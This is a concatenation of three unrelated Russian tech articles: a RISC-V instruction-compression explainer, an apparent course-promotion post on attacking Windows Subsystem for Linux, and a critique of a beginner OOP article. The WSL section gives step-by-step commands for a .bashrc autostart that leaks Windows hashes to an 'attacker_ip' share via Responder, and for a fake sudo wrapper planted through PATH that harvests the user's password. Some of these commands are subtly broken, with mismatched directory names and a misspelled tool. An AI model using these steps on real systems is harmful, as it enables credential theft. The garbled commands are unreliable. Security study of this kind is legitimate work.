Когда я начал понимать RISC-V лучше, то осознал, что RISC-V оказался радикальным возвратом к тому, что многие считали давно прошедшей эпохой вычислений. С точки зрения конструкции, RISC-V подобен перемещению на машине времени к классическому **R**educed **I**nstruction **S**et **C**omputer (RISC, «компьютеру с набором коротких команд») начала 80-х и 90-х.
В последние годы многие заявляли, что разделение на RISC и CISC больше не имеет смысла, поскольку в процессоры RISC наподобие ARM добавили так много команд, и при этом многие из них довольно сложны, что на текущем этапе это скорее гибрид, чем чистый процессор RISC. Похожие рассуждения применялись и к другим процессорам RISC, например, PowerPC.
RISC-V же, напротив, является действительно «хардкорным» представителем процессоров RISC. Если вы почитаете в Интернете обсуждения RISC-V, то найдёте людей, утверждающих, что RISC-V был разработан какими-то олдскульными RISC-радикалами, отказывающимися двигаться в ногу со временем.
Бывшая инженер ARM Эрин Шеперд несколько лет назад написала интересную [критику RISC-V](https://gist.github.com/erincandescent/8a10eeeea1918ee4f9d9982f7618ef68):
> ISA RISC-V слишком стремился к минимализму. В нём есть сильный упор на минимизацию количества команд, нормализацию кодирования и т.д. Это стремление к минимализму привело к ложным ортогональностям (например, использованию одной и той же команды для ветвления, вызовов и возвратов) и требованию избыточных команд, влияющих на плотность кода с точки зрения размера и количества команд.
Вкратце приведу немного контекста. *Малый* размер кода даёт преимущество в производительности, поскольку так проще хранить выполняемый код внутри высокоскоростного кэша процессора.
Критика здесь заключается в том, что проектировщики RISC-V слишком сосредоточились на обеспечении малого набора команд. В конце концов, это ведь одна из исходных целей RISC.
По словам Эрин, следствием этого стало то, что реальной программе для выполнения задач потребуется гораздо больше команд, то есть она займёт больше места в памяти.
Традиционно долгие годы считалось, что в процессор RISC нужно добавить больше команд, чтобы он стал более похожим на CISC. Идея заключается в том, что более специализированные команды могут заменить использование множественных общих команд.
Сжатие команд и Macro-Operation Fusion
--------------------------------------
Однако в архитектуре процессоров присутствуют две инновации, из-за которых эта стратегия добавления более сложных команд во многих смыслах оказывается избыточной:
* Сжатые команды — команды сжимаются в памяти и распаковываются на первой стадии процессора.
* Macro-operation Fusion — две или несколько простых команд считываются процессором и сливаются в одну более сложную команду.
На самом деле, в ARM уже используются обе эти стратегии, а в процессорах x86 применяется вторая, поэтому RISC-V не проделывает здесь каких-то новых трюков.
Однако тут есть тонкость: RISC-V получает из этих двух стратегий гораздо больше выгод по двум важным причинам:
1. Сжатые команды были добавлены изначально. В других архитектурах, например, в ARM, об этом подумали позже, и прикрутили их довольно поспешным образом.
2. Здесь оправдывает себя одержимость RISC малым количеством уникальных команд. Для добавления сжатых команд просто остаётся больше места.
Второй пункт требует некоторых пояснений. В архитектурах RISC команды обычно имеют ширину 32 бита. Эти биты нужно использовать для кодирования различной информации. Допустим, у нас есть такая команда (после точки с запятой идут комментарии):
```
ADD x1, x4, x8 ; x1 ← x4 + x8
```
Она складывает содержимое регистров `x4` и `x8`, сохраняя результат в `x1`. Требуемое для кодирования этой команды количество битов зависит от количества имеющихся регистров. У RISC-V и ARM есть 32 регистра. Число 32 можно выразить 5 битами:
> 2⁵ = 32
Так как в команде нужно указать три разных регистра, то для кодирования операндов (входящих данных для операции сложения) требуется в сумме 15 бит (3 × 5).
Следовательно, чем больше возможностей мы хотим поддерживать в наборе команд, тем больше битов мы займём из доступных нам 32 бит. Разумеется, мы можем перейти к 64-битным командам, но при этом потратится слишком много памяти, а значит, пострадает производительность.
Агрессивно стремясь к сохранению малого количества команд, RISC-V оставляет больше места для добавления битов, обозначающих, что мы используем сжатые команды. Если процессор видит, что в команде заданы определённые биты, то он понимает, что её нужно интерпретировать как сжатую.
Это означает, что вместо засовывания внутрь 32 бит одной команды мы можем уместить две команды по 16 бит шириной каждая. Естественно, не все команды RISC-V можно выразить в 16-битном формате. Поэтому подмножество 32-битных команд выбирается на основании их полезности и частоты использования. Если несжатые команды могут получать 3 операнда (входящих данных), то сжатые команды — только 2 операнда. То есть сжатая команда `ADD` будет выглядеть так:
```
C.ADD x4, x8 ; x4 ← x4 + x8
```
В ассемблерном коде RISC-V используется префикс `C.`, сообщающий, что команду нужно преобразовать ассемблером в сжатую команду.
По сути, сжатые команды уменьшают количество операндов. Три регистра-операнда заняли бы 15 бит, оставив на указание операции всего 1 бит! Таким образом, при использовании двух операндов для указания опкода (выполняемой операции) у нас остаётся 6 бит.
На самом деле это близко к тому, как работает ассемблер x86, когда зарезервировано недостаточно битов для использования трёх регистров-операндов. Процессор x86 при этом тратит биты, чтобы позволить, например, команде `ADD` считывать входящие данные и из памяти, и из регистров.
Однако *истинную* выгоду мы получаем, объединив сжатие команд с Macro-operation fusion. Когда процессор получает 32-битное слово, содержащее две сжатые 16-битные команды, он может слить их в *одну* более сложную команду.
Звучит, как чушь — мы что, вернулись к тому, с чего начинали?
Нет, поскольку мы минуем необходимость заполнения спецификации ISA кучей сложных команд (то есть стратегии, которой придерживается ARM). Вместо этого мы, по сути, выражаем целое множество сложных команд *косвенно*, через различные сочетания простых команд.
В обычных условиях Macro-fusion вызвало бы проблему: хотя две команды заменяются одной, они всё равно занимают в два раза больше памяти. Однако при сжатии команд мы не занимаем никакого лишнего места. Мы пользуемся преимуществами обеих архитектур.
Давайте рассмотрим один из примеров, приведённых Эрин Шеперд. В своей критической статье о ISA RISC-V она показывает простую функцию на C. Чтобы было понятнее, я взял на себя смелость переписать её:
```
int get_index(int *array, int i) {
return array[i];
}
```
На x86 это скомпилируется в следующий ассемблерный код:
```
mov eax, [rdi+rsi*4]
ret
```
При вызове функции в языке программирования аргументы обычно передаются функции в регистре согласно установленному порядку, который зависит от используемого набора команд. На x86 первый аргумент помещается в регистр `rdi`, второй — в `rsi`. По стандарту возвращаемые значения должны помещаться в регистр `eax`.
Первая команда умножает содержимое `rsi` на 4. Он содержит переменную `i`. Почему умножает? Потому что `array` состоит из элементов integer, разделённых друг от друга 4 байтами. Следовательно, третий элемент массива находится в смещении 3 × 4 = 12 байт.
Далее мы прибавляем это к `rdi`, который содержит базовый адрес `array`. Это даёт нам окончательный адрес `i`-того элемента `array`. Мы считываем содержимое ячейки памяти по этому адресу и сохраняем его в `eax`: задача выполнена.
На ARM всё происходит похожим образом:
```
LDR r0, [r0, r1, lsl #2]
BX lr ;return
```
Здесь мы не умножаем на 4, а сдвигаем регистр `r1` на 2 бита влево, что эквивалентно умножению на 4. Вероятно, это более верное описание и того, что происходит на x86. Сомневаюсь, что можно умножать на что-либо, не являющееся кратным 2, поскольку умножение — это довольно сложная операция, а сдвиг малозатратен и прост.
Из моего описания x86 об остальном можно только догадываться. Теперь давайте перейдём к RISC-V, где начинается настоящее веселье! (точкой с запятой начинаются комментарии)
```
SLLI a1, a1, 2 ; a1 ← a1 << 2
ADD a0, a0, a1 ; a0 ← a0 + a1
LW a0, a0, 0 ; a0 ← [a0 + 0]
RET
```
На RISC-V регистры `a0` и `a1` являются просто псевдонимами `x10` и `x11`. Именно в них помещаются первый и второй аргументы вызова функции. `RET` — это псевдокоманда (сокращение):
```
JALR x0, 0(ra) ; sp ← 0 + ra
; x0 ← sp + 4 ignoring result
```
`JALR` выполняет переход к адресу, хранящемуся в `ra`, который относится к адресу возврата. `ra` — это псевдоним `x1`.
И всё это выглядит совершенно ужасно, правда? Вдвое больше команд для такой простой и часто используемой операции, как выполнение поиска по индексу в таблице и возврат результата.
Это действительно выглядит плохо. Именно поэтому Эрин Шеперд чрезвычайно критически отнеслась к проектировочным решениям, сделанным разработчиками RISC-V. Она пишет:
> Упрощения RISC-V делают более простым декодер (т.е. фронтенд процессора), однако за это приходится расплачиваться бо́льшим количеством команд. Однако масштабирование ширины конвейера — это сложная задача, в то время как декодирование немного (или сильно) необычных команд хорошо изучено (основные сложности возникают, когда определение длины команды нетривиально — из-за своих бесконечных префиксов особо запущенным случаем является x86).
Однако благодаря сжатию команд и macro-op fusion можно изменить ситуацию к лучшему.
```
C.SLLI a1, 2 ; a1 ← a1 << 2
C.ADD a0, a1 ; a0 ← a0 + a1
C.LW a0, a0, 0 ; a0 ← [a0 + 0]
C.JR ra
```
Теперь команды занимают ровно столько же места в памяти, что и пример для ARM.
Так, а теперь давайте выполним **Macro-op fusion**!
Одно из условий RISC-V для разрешения слияния операций в одну — это *совпадение целевого регистра*. Это условие выполняется для команд `ADD` и `LW` (load word, «загрузить слово»). Поэтому процессор превратит их в *одну* команду.
Если бы это условие выполнялось и для SLLI, то мы могли бы слить в одну *все три команды*. То есть процессор бы увидел нечто, напоминающее более сложную команду ARM:
```
LDR r0, [r0, r1, lsl #2]
```
Но почему мы не могли прописать эту сложную макро-операцию непосредственно в коде?
Потому что в ISA нет поддержки такой макро-операции! Вспомним, что у нас есть *ограниченное* количество битов. Тогда сделаем команды длиннее! Нет, это займёт слишком много памяти и быстрее переполнит драгоценный кэш процессора.
Однако если вместо этого мы будем изготавливать эти длинные полусложные команды *внутри* процессора, то никаких проблем не возникает. У процессора никогда не бывает одновременно в наличии более нескольких сотен команд. Поэтому если мы потратим на каждую команду, допустим, 128 бит, то это не создаст затруднений. Кремния по-прежнему будет хватать на всё.
Когда декодер получает обычную команду, он обычно превращает её в одну или несколько микро-операций. Такие микро-операции и есть команды, с которыми на самом деле работает процессор. Они могут быть очень широкими и содержат множество дополнительной полезной информации. Приставка «микро» звучит иронично, ведь они оказываются шире. Однако на самом деле «микро» означает, что они имеют ограниченное количество задач.
Macro-operation fusing немного переворачивает работу декодера вниз головой: вместо превращения *одной* команды в *несколько* микро-операций, мы берём много операций и превращаем их в одну микро-операцию.
То есть происходящее в современном процессоре может выглядеть довольно странно:
1. Сначала он объединяет две команды в одну с помощью *сжатия*.
2. Затем он разделяет их на две с помощью *распаковки*.
3. Далее комбинирует их обратно в одну операцию при помощи *macro-op fusion*.
Другие же команды могут оказаться разделёнными на несколько микро-операций, а не быть слиты. Почему же некоторые команды сливаются, а другие разделяются? Есть ли в этом безумии система?
Ключевым аспектом перехода к микро-операциям является нужный уровень сложности:
* Не слишком сложные, потому что в противном случае они не смогут завершиться за фиксированное количество тактов, выделенных на каждую команду.
* Не слишком простые, потому что иначе мы просто потратим ресурсы процессора впустую. Выполнение двух микро-операций займёт в два раза больше времени, чем выполнение всего одной.
Всё началось с процессоров CISC. Intel стала разделять свои сложные команды CISC на микро-операции, чтобы их проще было уместить в конвейеры процессоров, как команды RISC. Однако в последующих конструкциях разработчики осознали, что многие команды CISC можно слить в одну умеренно сложную команду. Если команд для выполнения становится меньше, то работа будет закончена быстрее.
Получаемые преимущества
=======================
Мы обсудили множество подробностей, поэтому сейчас вам, должно быть, трудно понять, в чём смысл всех этих трудов. Зачем нужны все эти сжатия и слияния? Похоже, что из-за них выполняется много лишней работы.
Во-первых, сжатие команд совершенно не походит на сжатие zip. Слово «сжатие» немного неверное, потому что мгновенное сжатие или распаковка команды выполняются абсолютно просто. На это не тратится времени.
То же самое относится к macro-operation fusion. Хотя этот процесс может казаться сложным, подобные системы уже используются в современных микропроцессорах. Поэтому затраты, которые добавляет вся эта сложность, уже были оплачены.
Однако в отличие от проектировщиков ARM, MIPS и x86, приступая к проектированию своего ISA, создатели RISC-V знали о сжатии команд и macro-ops fusion. Благодаря [различным тестам](https://arxiv.org/pdf/1607.02318.pdf) с первым минимальным набором команд они сделали два важных открытия:
1. Программы RISC-V обычно занимают примерно столько же или меньше места в памяти, чем любая другая процессорная архитектура. В том числе и x86, который должен эффективно использовать память, учитывая, что это ISA CISC.
2. Ему требуется выполнять меньше микро-операций, чем другим ISA.
По сути, спроектировав базовый набор команд с учётом использования fusion, они смогли сливать достаточное количество команд для того, чтобы процессору для любой программы приходилось выполнять меньше микро-операций, чем процессорам-конкурентам.
Это заставило коллектив разработчиков RISC-V удвоить усилия по реализации macro-operation fusion как фундаментальной стратегии RISC-V. В руководстве по RISC-V есть множество примечаний о том, с какими операциями можно выполнять слияние. Также в него внесены правки, упрощающие слияние команд, встречающихся в частых паттернах.
Благодаря малому ISA его проще изучать студентам. А это означает, что изучающему процессорные архитектуры студенту проще спроектировать собственный процессор, работающий на командах RISC-V. Стоит помнить, что и сжатие команд, и macro-op fusion использовать необязательно.
RISC-V имеет небольшой фундаментальный набор команд, реализация которого обязательна. Однако все остальные команды реализуются как части расширений. Сжатые команды — это просто дополнительное расширение.
Macro-op fusion — это просто оптимизация. Она не меняет поведения в целом, а поэтому её необязательно реализовывать в собственном процессоре RISC-V.
Стратегия проектирования RISC-V
===============================
RISC-V взял всё, что мы знаем сегодня о современных процессорах, и использовал эти знания в проектировании процессоров ISA. Например, мы знаем, что:
* Сегодня у процессорных ядер есть сложная система прогнозирования ветвления.
* Процессорные ядра суперскалярны, то есть выполняют множество команд параллельно.
* Для обеспечения суперскалярности используется выполнение команд с изменением очерёдности (Out-of-Order execution).
* Они имеют конвейеры.
Это означает, что такие особенности, как поддерживаемое ARM условное выполнение, больше не требуется. Поддержка этой функции в ARM отъедает биты от формата команд. RISC-V может сэкономить эти биты.
Изначально условное выполнение создавалось для того, чтобы избегать ветвлений, потому что они плохо влияют на конвейеры. Для ускорения работы процессора он обычно заранее получает следующие команды, чтобы сразу после выполнения предыдущей на первой стадии процессора можно было подхватить следующую.
При условном ветвлении мы не можем заранее знать, где будет следующая команда, когда начинаем заполнять конвейер. Однако суперскалярный процессор может просто выполнять обе ветви параллельно.
Именно из-за этого RISC-V не имеет и регистров состояния, ведь они создают зависимости между командами. Чем более независима каждая команда, тем проще выполнять её параллельно с другой командой.
По сути, стратегия RISC-V заключается в том, что мы можем сделать ISA как можно более простым, а минимальную реализацию процессора RISC-V как можно более простой без необходимости принятия конструкторских решений, из-за которых невозможно будет создать высокопроизводительный процессор.
---
#### На правах рекламы
Наша компания предлагает серверы не только с CPU от Intel, но и [серверы с процессорами AMD](https://vdsina.ru/cloud-servers?partner=habr213) EPYC. Как и для других типов серверов, огромный выбор операционных систем для автоматической установки, есть возможность установить любую ОС с собственного образа. Попробуйте прямо сейчас!
[](https://vdsina.ru/cloud-servers?partner=habr213) | https://habr.com/ru/post/534542/ | null | ru | null |
# WSL эксперименты. Часть 1
***Привет, хабр! В октябре OTUS запускает новый поток курса [«Безопасность Linux»](https://otus.pw/r2jnW/). В преддверии старта курса делимся с вами статьёй, которую написал один из наших преподавателей — Александр Колесников.***
---
В 2016 году компания Microsoft представила IT сообществу новую технологию WSL (**W**indows **S**ubsystem for **L**inux), в перспективе позволявшую объединить до этого непримиримых конкурентов, которые сражались за популярность как среди рядовых, так и продвинутых пользователей ОС: Windows и Linux. Данная технология предоставляла возможность использовать инструменты ОС Linux в окружении Windows без необходимости запуска Linux, к примеру, с помощью мультизагрузки (Multi-boot). На Habr вы можете обнаружить большое количество статей, описывающих преимущества использования WSL. Однако, к сожалению, на момент создания статьи на данном ресурсе не было обнаружено исследований безопасности такого симбиоза операционных систем. Настоящий пост станет попыткой это исправить. В статье будет рассказано об особенностях архитектур WSL 1 и 2, разобрано несколько примеров атак на системы, использующие данные технологии. Статья разбита на 2 части. В первой будут предоставлены основные теоретические методы атак со стороны Linux и Windows. Вторая статья будет включать в себя настройку тестовой среды и воспроизведение атак.
### *WSL 1: особенности архитектуры*
Для наиболее точного погружения в проблемы безопасности WSL необходимо определить основные нюансы, связанные с имплементацией подсистемы. Одной из главных пользовательских задач, решаемых WSL, является предоставление возможности работы через терминал Linux систем на хосте с ОС Windows. Также предложенная совместимость была настолько нативной, что исполняемые файлы Linux (ELF) могли быть запущены прямо в системе Windows. Для достижения этих целей в Windows 10 была создана специальная подсистема, позволяющая запускать приложения Linux с помощью набора определённых системных вызовов — таким образом, была предпринята попытка маппинга набора syscall-ов Linux на Windows. Физически это было реализовано путем добавления новых драйверов и нового формата процесса. Визуально архитектура выглядела вот так:
По сути, взаимодействие с операционной системой Linux было организовано посредством нескольких ядерных модулей и специального вида процессов — pico. Из схемы выше видно, что процесс, запущенный в инстанс Linux на хосте, должен быть нативным и должен использовать те же ресурсы, что и обычные приложения Windows. Но как этого достичь? В проекте [Drawbridge](https://www.microsoft.com/en-us/research/project/drawbridge/?from=http://research.microsoft.com/en-us/projects/drawbridge/) были разработаны концепты процессов для Windows, которые предоставляли все необходимые компоненты операционной системы (в зависимости от ее версии) для запуска приложения другой ОС.
> Заметим, что предложенная абстракция позволяла не ориентироваться на операционную систему (в частности — Windows), в которой ожидается запуск процесса другой ОС, и предлагала общий подход.
Таким образом, любое приложение внутри pico процесса могло работать без оглядки на ядро Windows:
1. Проблемы совместимости и трансляции системных вызовов должны решать специальные провайдеры;
2. Разграничение доступа должно производиться через Монитор безопасности. Монитор располагается в ядре и поэтому Windows был необходим апгрейд в виде нового драйвера, который мог бы выступать в качестве провайдера для таких процессов. Прототип pico процесса схематично представлен ниже:
Поскольку файловая система Linux использует регистрозависимые названия файлов и директорий, в Windows были добавлены 2 типа файловых систем для работы с WSL — VolFS и DriveFS. VolFS — имплементация файловой системы Linux, DriveFS — файловая система, которая работает по правилам Windows, но имеет возможность выбора чувствительности к регистру имен.
### *WSL 2*
WSL 1 имела ряд ограничений, не позволявших использовать ее для решения максимального спектра задач: к примеру, в ней отсутствовала возможность запуска 32-битных Linux приложений, нельзя было использовать device драйвера. Поэтому в 2020 году была выпущена WSL 2, которая сменила подход к построению подсистемы. WSL 2 — это оптимизированная виртуальная машина, которая соответствует характеристикам WSL 1 по потреблению ресурсов. Теперь, в зависимости от проблем, решаемых пользователем ОС Windows, можно выбирать необходимую версию подсистемы работы с Linux. Для митигации возможных уязвимостей WSL 2 была реализована на базе Hyper-V в Windows 10. В этом виде Windows имеет возможность изолированно запускать ядро операционной системы Linux. Стоит помнить, что версия 1 WSL была представлена как бета фича, которая должна была показать вектор развития Windows в этой области, поэтому переход на Hyper-V был неизбежен. Итоговая архитектура выглядит так:
В этой версии у ядер систем Windows и Linux есть свои собственные ресурсы и пересечение существует только в файловой системе, однако это пересечение нельзя назвать полным. Взаимодействие между файловыми системами проводится за счет клиент-серверной обертки, которая работает по протоколу 9P.
На сегодняшний день Microsoft предоставляет возможность переключения между WSL 1 и WSL 2. Обе версии доступны для использования.
### *Безопасность WSL*
На данный момент существуют несколько работ, описывающих некоторые подходы к использованию легитимных инструментов ОС для атаки на взаимодействие между подсистемами. Мы будем использовать их сценарии для проверки актуальности атак на момент написания статьи. Общий перечень атак и сценарии проведения:
***1. Имплементация файловой системы: права доступа, наличие общих директорий/механизмов обмена данными.***
Исследования проводились на предмет нарушения правил доступа из *Linux FS->Windows FS, Windows FS->Linux FS*. Исследования демонстрировали возможность модификации заданного файла внутри целевой ОС. Так же были проведены попытки подмены, создания двойников и удаления части файловых систем.
Сценарий:
* A. Атака из операционной системы Windows — модификация файлов из директории /etc ОС Linux.
* B. Атака из операционной системы Linux — модификация файлов в директориях: `C:\Windows`, `C:\Program Files`, ``C:\Users\``
***2. Имплементация сетевого стека.***
Исследования проводились на примерах атак со стороны операционной системы Linux на Windows. Использовались особенности работы сетевого стека, а именно — механизмы аутентификации на различных ресурсах.
Сценарий:
* Открытие доступа к порту, который занят в системе Windows
* Открытие порта при отсутствии соответствующих прав
* Запуск reverse shell с использованием elf файла в операционной системе Windows.
***3. Сокрытие запуска процессов вредоносного программного обеспечения за счет подсистемы WSL.***
Исследования базировались на простом факте — подсистемы защиты не могут проводить перехват событий в другом ядре, которое работает с использованием легитимного провайдера со стороны операционной системы в случае с WSL 1. В случае с WSL 2 нет возможности просмотреть события, которые происходят в отдельном ядре в рамках легкой виртуальной машины.
Сценарий:
1) Запуск приложения для удаленного доступа в систему и просмотр регистрируемых событий.
### *WSL 1 эксперименты: перехват хэша (ОС Windows)*
Наконец-то мы добрались до практической части. Для начала необходимо настроить окружение для тестов. Все эксперименты будут проводиться на стенде с установленным Windows 10 2004. В качестве образа операционной системы для WSL был выбран образ Ubuntu 18.04. Образ был выбран случайно, и любой другой будет работать так же. Команды для настройки стенда:
*Предварительно нужно запустить `powershell.exe` от имени администратора.*
Для WSL 1 необходимо выполнить команды:
`[1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804](https://aka.ms/wsl-ubuntu-1804) -OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
- Ubuntu.appx install —root #Установим образ
- Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
- Restart-Computer #Перезагрузим`
После перезагрузки стенда можно вызвать команду bash. Если все верно сработало, то вы увидите примерно такой вывод в консоли Windows:
В качестве машины атакующего будем использовать дистрибутив Kali Linux, все машины должны находиться в одной локальной сети.
Предположим, что у нас есть непривелигированный доступ к WSL на машине Windows. Попробуем провести атаку на операционную систему Linux, вызвав команду из Linux. Для реализации атаки воспользуемся простой техникой автозапуска — добавим наш скрипт для выполнения в среде Linux. Для этого нужно изменить файл `.bashrc`.
На машине c WSL выполняем:
```
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
```
На машине Kali Linux выполняем:
```
1. Responder -I eth0 -rdvw
```
На машине Windows запустим bash.
Ждем результат на машине Kali Linux:
Таким образом, мы получили хэши пользователя Windows через подсистему WSL, выполнив команду на системе Linux.
### *WSL 1 эксперименты: получение пароля пользователя (ОС Linux)*
Проведем еще один эксперимент. В ходе этой проверки мы дополним файл `.bashrc` несколькими командами для того, чтобы получить пароль пользователя операционной системы Linux.
Запустим bash и введем команды:
```
1. mkdir .hidden
2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
4. echo "echo \"\"" >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
```
Для успешного завершения атаки необходимо, чтобы пользователь Sam вызвал sudo в терминале Linux. После этого пароль пользователя ОС Linux окажется в файле `pass.txt`:
*Реализация атак была приведена только для теоретического ознакомления.*
В следующей части статьи будет описана реализация протокола 9P, рассмотрено создание сканера для этого протокола, а также проведена атака с его помощью.
#### Список использованной литературы
* [WSL 2 RESEARCH INTO BADNESS](https://img.en25.com/Web/FSecure/%7B87c32f0e-962d-4454-b244-1bb8908968d4%7D_WSL-2-RESEARCH.pdf)
* [Windows Subsystem for Linux Documentation](https://docs.microsoft.com/en-us/windows/wsl/)
[](https://otus.pw/r2jnW/)
> #### Читать ещё
>
>
>
> * [Как выбирать программное обеспечение для патчинга ядра Linux в реальном времени](https://habr.com/ru/company/otus/blog/517126/)
> | https://habr.com/ru/post/519066/ | null | ru | null |
# Разбор статьи из журнала «Код» (Яндекс Практикум)
Пояснительная часть
-------------------
Недавно мне попалась статья в журнале "Код" под названием ["Сравнение: классы против функций"](https://thecode.media/oop_battle/). Я прочитал ее и она показалось мне… странной. Журнал позиционирует себя как издание для начинающих программистов. Но даже со скидкой на уровень аудитории статья вызывает много вопросов.
Эта публикация — попытка обратиться к [редакции](https://thecode.media/about/) журнала "Код". Я ни в коем случае не пишу хейтерский пост. Наоборот, ставлю цель разобрать статью и указать на недостатки. Не хочу обидеть ни автора, ни редакцию. Допускаю, что в текущей статье ничего не изменится, но может быть, редакция возьмет кое-что на заметку.
Подчеркну особо — на протяжении текста я рассматриваю статью *глазами новичка*. У меня в этом скромный опыт: я делал уроки по программированию, писал обучающие статьи, занимаюсь менторством. Поэтому придираюсь только по одному критерию — как усвоит информацию *начинающий* программист. Мне кажется, это совпадает с тематикой издания.
В редакции мне посоветовали написать мысли в комментариях. Однако текст вышел слишком большой, чтобы там поместиться. А во-вторых, у меня ощущение, что комментарии игнорируются, о чем я скажу отдельно.
Для полноты контекста прочитайте оригинал, это не займет много времени.
Что не так в статье
-------------------
Итак, цель статьи — сравнить две парадигмы: процедурный стиль и ООП. Вполне хорошая тема для начинающих. Что же пошло не так?
### Два языка
Первая ошибка в том, что автор использует два языка: Python и JavaScript. Какой в этом смысл? Наоборот, сравнение должно протекать в рамках одного языка, чтобы разница была видна наглядно. Другой язык — это переключение контекста и отличия в синтаксисе. Это как сравнивать две программы для телефона, но одну запускать на айфоне, а другую на андроиде, упуская факт, что разница в платформах может быть разительной.
У новичка сложится мнение, что победивший с точки зрения автора язык — лучший. Новички мыслят абсолютами — если язык победил в чем-то одном, то он самый лучший, что конечно не так. Поскольку вы издание, а не персональный блог, правильней удерживать новичка от стереотипов, потому что они искажают реальность. Уверен, что после прочтения статьи большинство решило, что Питон — это хорошо, а с JavaScrip все плохо.
Какую цель преследовал автор, когда добавил JavaScript? Зачем было это делать, если далее идет плашка:
> Мы знаем, что в JS тоже есть классы и с ними даже можно работать. Но для обучения и понимания принципов ООП классы в JS не очень подходят: в них всё сложно с private-переменными и видимостью; технически классы — это функции, да и с методом определения там не всё так просто. Поэтому мы выбрали Python как классический пример объектного подхода: строгие классы и все возможности ООП. В этой статье мы намеренно упрощаем использование JavaScript, чтобы показать, как работает чистый процедурный подход. Программисты, не ругайтесь на нас за это.
Лично мне этот параграф кажется жалким. Если язык "не очень подходит", то не стоит брать его в обзор, потому что иначе вы путаете читателя. В сравнении должен быть только один язык, потому что вы сравниваете парадигмы, а не языки.
### Ненужные и опасные выражения
Вторая ошибка — в коде встречается выражение, которое не имеет отношения к статье и вдобавок таит опасность. Речь о последней строке в примере ниже:
```
class User:
user_count = 0
def __init__(self, name, age, adress):
self.name = name
self.age = age
self.adress = adress
user.user_count += 1
```
При создании пользователя счетчик `user_count` увеличивается на единицу. Совершенно не ясен смысл этого счетчика. В статье нет ни одного примера, где бы он использовался. Поиск по `user_count` на странице выдает два случая: объявление и присваивание. Зачем вводить лишнюю сущность?
Второй минус в том, что грамотное объяснение этого счетчика выходит за рамки новичка. Переменная `user_count` относится к классу, а не к экземпляру объекта. По этой причине в методе `__init__` на нее ссылаются именно через класс, а не `self`. Между прочим, имя класса в нижнем регистре, и поэтому **код не сработает**.
Заметим, что до сих пор читатель не знает разницу между *полями класса* и *полями **экземпляра** класса*, и поведение счетчика будет для него магией.
В третьих, любой программист скажет, что счетчик в классе — плохой пример. С этим подходом код зависит от глобального состояния, и совершенно неясно, как им управлять. Предположим, новичок создал трех пользователей, и счетчик это подтверждает:
```
user1 = User("ivan", 20, "addr1")
user2 = User("huan", 30, "addr2")
user3 = User("juan", 40, "addr3")
print(User.user_count)
# 3
```
Однако счетчик накручивается при создании любого пользователя, неважно в каком месте программы. Предположим, начинающий питонист узнал, что оператор `del` удаляет указанный объект. После удаления пользователя что счетчик не изменится:
```
del user3
print(User.user_count)
# 3
```
Придется задать метод удаления объекта с понижением счетчика:
```
def __del__(self):
User.user_count -= 1
del user3
print(User.user_count)
# 2
```
Все это я пишу для того, чтобы раскрыть природу счетчика на уровне класса. Поймет ли это начинающий? Сомневаюсь. Зачем вводить его в код? Весь код из примеров должен быть покрыт объяснением. Избегайте выражений, за которыми таится большой контекст.
Что посоветовать новичку, если нужно считать пользователей? Просто добавлять их в список, а при необходимости — исключать. Длину списка легко получить функцией `len`. Схема очень проста:
```
users = [user1, user2, user3]
print(len(users))
# 3
users.remove(user3)
print(len(users))
# 2
```
### Неверный тип коллекции
Когда автор переходит к процедурному стилю, он совершает ошибку: выбирает массив для хранения данных о пользователе:
```
// Создаём первого покупателя
user1 = ['Вася', 23, 'Чебоксары'];
// Создаём второго покупателя
user2 = ['Маша', 19, 'Белгород'];
```
Я искренне удивлен этому решению. Пользователь — это набор полей с разной семантикой, и на эту роль лучше всего подходит словарь (или объект в JS):
```
var user1 = {
name: 'Вася',
age: 23,
adress: 'Чебоксары'
};
var user2 = {
name: 'Маша',
age: 19,
adress: 'Белгород'
};
```
Да, слово "объект" вызывает путаницу с ООП, потому что в данном случае мы работаем с ним как со словарем. Это прямая отсылка к первому пункту — не надо брать разные языки, потому что одинаковые термины в них имеют разное значение.
Далее рассмотрим, как автор работает с данными в процедурном стиле. Он пишет две функции для работы с ними:
```
function user1_add_bonus(bonus_count) {
user1[3] += bonus_count;
user1[4] = Math.floor(user1[3]/10000);
if (user1[4] > 3) {
user1[4] = 3;
}
console.log('Бонусный уровень покупателя ', user1[0], ' : ', user1[4])
}
function user2_add_bonus(bonus_count) {
user2[3] += bonus_count;
user2[4] = Math.floor(user2[3]/10000);
if (user2[4] > 3) {
user2[4] = 3;
}
console.log('Бонусный уровень покупателя ', user2[0], ' : ', user2[4])
}
```
Если отбросить эмоции, у меня две претензии к этому коду. Первая — выбор массива в качестве контейнера порождает ад с индексами. Ни один новичок не удержит в голове **пять полей** и их номера. А ведь достаточно было взять словарь, чтобы все стало ясно:
```
function user_add_bonus(user, bonus_count) {
user.bouns_count += bonus_count;
user.bonus_level = Math.floor(user.bouns_count / 10000);
if (user.bonus_level > 3) {
user.bonus_level = 3;
}
console.log('Бонусный уровень покупателя ', user.name, ' : ', user.bonus_level)
}
```
Вдобавок, код автора **опять не работает**. Если вызывать функцию `user1_add_bonus` с каким-то числом бонусов, получим `NaN`-ы на конце массива. Они появились, потому что автор не инициализировал поля с индексами 3 и 4:
```
[ "Вася", 23, "Чебоксары", NaN, NaN ]
```
Насколько я понимаю, задача журнала в том, чтобы статью поняли читатели. Так скажите, какой код проще читать и понять — на массивах или словарях? Для меня очевидно, что второе. Вместо этого автор написал код-страшилку, где все запутано. "Видите, до чего доводит процедурный код?"
